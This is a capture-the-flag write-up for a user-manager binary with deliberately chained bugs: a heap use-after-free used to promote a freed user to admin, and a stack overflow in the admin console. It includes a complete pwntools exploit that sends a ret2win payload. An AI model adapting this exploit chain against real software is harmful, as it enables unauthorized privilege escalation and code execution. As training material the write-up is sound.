Flash CTF – Heaps of Fun

Challenge Overview

This binary presents a simple user manager with two deliberately chained bugs:

  1. A heap use-after-free in the user record handling.
  2. A stack-based overflow inside the admin console.

The intended path is to free a user, reuse the dangling pointer to promote that user to admin, then overflow the admin note buffer and return into win().

Vulnerability Discovery

The heap bug is in the delete flow. Deleting a user frees the allocation but leaves the pointer in the user table, so later edit operations still write through a dangling reference.

The stack bug is in admin_menu(). It reads an audit note with a size argument larger than the local buffer, so a long note can overwrite the saved return address.

Exploitation Strategy

  1. Create a user in slot 0.
  2. Delete that user, but keep the stale pointer in the table.
  3. Edit the freed record and change the role to 2.
  4. Log in as that user to reach the admin console.
  5. Send a direct ret2win payload that lands on win() at offset 72.

Complete Exploit Code

#!/usr/bin/env python3

from pathlib import Path

from pwn import *


context.arch = "amd64"
context.log_level = "info"


def start(ip: str, port: int):
    return remote(ip, port)
    


def choice(io, value):
    io.sendlineafter(b"> ", str(value).encode())


def create_user(io, slot, username, bio):
    choice(io, 1)
    io.sendlineafter(b"Slot: ", str(slot).encode())
    io.sendlineafter(b"Username: ", username)
    io.sendlineafter(b"Bio: ", bio)


def delete_user(io, slot):
    choice(io, 2)
    io.sendlineafter(b"Slot: ", str(slot).encode())


def edit_user(io, slot, role, username, bio):
    choice(io, 3)
    io.sendlineafter(b"Slot: ", str(slot).encode())
    io.sendlineafter(b"New role: ", str(role).encode())
    io.sendlineafter(b"Username: ", username)
    io.sendlineafter(b"Bio: ", bio)


def login_user(io, slot):
    choice(io, 4)
    io.sendlineafter(b"Slot: ", str(slot).encode())


def main():
    ip, port = input("Enter IP and port (e.g., localhost:1337): ").strip().split(":")
    binary = "./chall"
    elf = ELF(str(binary), checksec=False)
    io = start(ip, int(port))

    create_user(io, 0, b"guest", b"temporary account")
    delete_user(io, 0)
    edit_user(io, 0, 2, b"root", b"promoted after free")
    login_user(io, 0)

    payload = fit({72: p64(elf.sym["_Z3winv"])})
    io.sendafter(b"audit note: ", payload)
    io.send(b"\n")

    io.interactive()


if __name__ == "__main__":
    main()